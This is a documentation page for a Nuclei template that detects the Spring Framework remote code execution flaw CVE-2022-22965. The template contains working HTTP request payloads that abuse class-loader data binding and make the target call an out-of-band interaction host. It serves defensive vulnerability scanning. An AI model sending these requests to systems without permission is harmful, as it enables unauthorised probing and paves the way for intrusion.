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Spring - Remote Code Execution

ID: CVE-2022-22965

Severity: critical

Author: justmumu,arall,dhiyaneshDK,akincibor

Tags: cve2022,cve,rce,spring,injection,oast,intrusive,kev,vmware

Description

Section titled “Description”

Spring MVC and Spring WebFlux applications running on Java Development Kit 9+ are susceptible to remote code execution via data binding. It requires the application to run on Tomcat as a WAR deployment. An attacker can execute malware, obtain sensitive information, modify data, and/or gain full control over a compromised system without entering necessary credentials.

YAML Source

Section titled “YAML Source”
id: CVE-2022-22965


info:
  name: Spring - Remote Code Execution
  author: justmumu,arall,dhiyaneshDK,akincibor
  severity: critical
  description: |
    Spring MVC and Spring WebFlux applications running on Java Development Kit 9+ are susceptible to remote code execution via data binding. It requires the application to run on Tomcat as a WAR deployment. An attacker can execute malware, obtain sensitive information, modify data, and/or gain full control over a compromised system without entering necessary credentials.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system.
  remediation: If the application is deployed as a Spring Boot executable jar, i.e. the default, it is not vulnerable to this exploit.
  reference:
    - https://tanzu.vmware.com/security/cve-2022-22965
    - https://www.lunasec.io/docs/blog/spring-rce-vulnerabilities/
    - https://twitter.com/RandoriAttack/status/1509298490106593283
    - https://mp.weixin.qq.com/s/kgw-O4Hsd9r2vfme3Y2Ynw
    - https://twitter.com/_0xf4n9x_/status/1509935429365100546
    - https://nvd.nist.gov/vuln/detail/cve-2022-22965
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-22965
    cwe-id: CWE-94
    epss-score: 0.97493
    epss-percentile: 0.99972
    cpe: cpe:2.3:a:vmware:spring_framework:*:*:*:*:*:*:*:*
  metadata:
    max-request: 4
    vendor: vmware
    product: spring_framework
  tags: cve2022,cve,rce,spring,injection,oast,intrusive,kev,vmware


http:
  - raw:
      - |
        POST {{BaseURL}} HTTP/1.1
        Content-Type: application/x-www-form-urlencoded


        class.module.classLoader.resources.context.configFile={{interact_protocol}}://{{interactsh-url}}&class.module.classLoader.resources.context.configFile.content.aaa=xxx
      - |
        GET /?class.module.classLoader.resources.context.configFile={{interact_protocol}}://{{interactsh-url}}&class.module.classLoader.resources.context.configFile.content.aaa=xxx HTTP/1.1


    payloads:
      interact_protocol:
        - "http"
        - https


    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol # Confirms the HTTP Interaction
        words:
          - "http"


      - type: word
        part: interactsh_request
        words:
          - "User-Agent: Java"
        case-insensitive: true
# digest: 4a0a00473045022036e36c209bd3bc2f5a37e213a734565109c9fb3e726b56608b0b286ea1577afa022100daed9395533a33bf56f969d47e275e019acff469024a0893351cfb0daee17c10:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2022/CVE-2022-22965.yaml"

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